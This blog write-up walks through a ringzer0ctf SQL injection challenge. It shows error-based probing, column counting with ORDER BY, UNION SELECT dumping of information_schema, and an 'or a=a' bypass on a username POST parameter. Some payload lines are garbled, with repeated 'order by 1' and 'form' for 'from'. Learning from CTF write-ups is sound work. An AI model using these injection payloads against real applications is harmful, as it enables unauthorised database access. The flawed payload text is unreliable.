> For the complete documentation index, see [llms.txt](https://eslam3kl.gitbook.io/blog/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://eslam3kl.gitbook.io/blog/ctf-challenges/ctf-ringzer0ctf-challenge-access-list.md).

# CTF ringzer0ctf — Challenge Access List

Writeup of SQLi challenge Challenge Access List

#### CTF ringzer0ctf — Challenge Access List <a href="#e698" id="e698"></a>

Let’s continue our writeups about [ringzer0ctf](https://ringzer0ctf.com/challenges) challenges in SQL injection category

<figure><img src="https://cdn-images-1.medium.com/max/800/1*61CjjS_wgR8aV-Fy0Y64tg.png" alt=""><figcaption></figcaption></figure>

**Challenge 5 —** [**Challenge Access list**](https://ringzer0ctf.com/challenges/2)

In this challenge you will notice after opening the link that you have access list which you select the username and the system will return some information about the selected username.

Open the source code and you will notice that this data transfer in post based request

<figure><img src="https://cdn-images-1.medium.com/max/800/1*Aa_rAaeU5k_4YhR-Wj2psg.png" alt=""><figcaption></figcaption></figure>

So let’s use burp suite to intercept the traffic and editing the parameter username by the injection payload **admin’ and you will get a SQL error so it’s error based SQL injection, let’s count the number of columns by**

> **username** = admin’ order by 1 — — → true

> **username** = admin’ order by 1 — — → true

> **username** = admin’ order by 1 — — → true

> **username** = admin’ order by 1 — — → false

<figure><img src="https://cdn-images-1.medium.com/max/800/1*R0cMEBzdtcLULOVEuqFUjA.png" alt=""><figcaption></figcaption></figure>

So the number of columns is 3

<figure><img src="https://cdn-images-1.medium.com/max/800/1*HJT9PmPEexPH8NNntkCWtw.png" alt=""><figcaption></figcaption></figure>

next payload to know the vulnerable columns by

> username = -admin’ union select 1,2,3 — -

<figure><img src="https://cdn-images-1.medium.com/max/800/1*I-y7_2kpmNtLFHCOM91qhw.png" alt=""><figcaption></figcaption></figure>

the 3 columns is vulnerable

let’s dump the database by using any column manually, also you can use sqlmap to automate the process

> **username** = admin’ union select table\_name,2,3 form information\_schema.tables — — → get tables name

> **username** = admin’ union select column\_name,2,3 form information\_schema.columns where table\_name=”table name”— — → get columns name

you will get many columns and tables and in this step you will dump information from each column to get the flag and i prefere to use sqlmap in this step.

Instead of this process you can try another injection payload like this

> **username** = admin’ or ‘a’=’a’ — -

<figure><img src="https://cdn-images-1.medium.com/max/800/1*bxj9eZWhssmUuIuX7n9jEw.png" alt=""><figcaption></figcaption></figure>

Nice Nice ! we found it ❤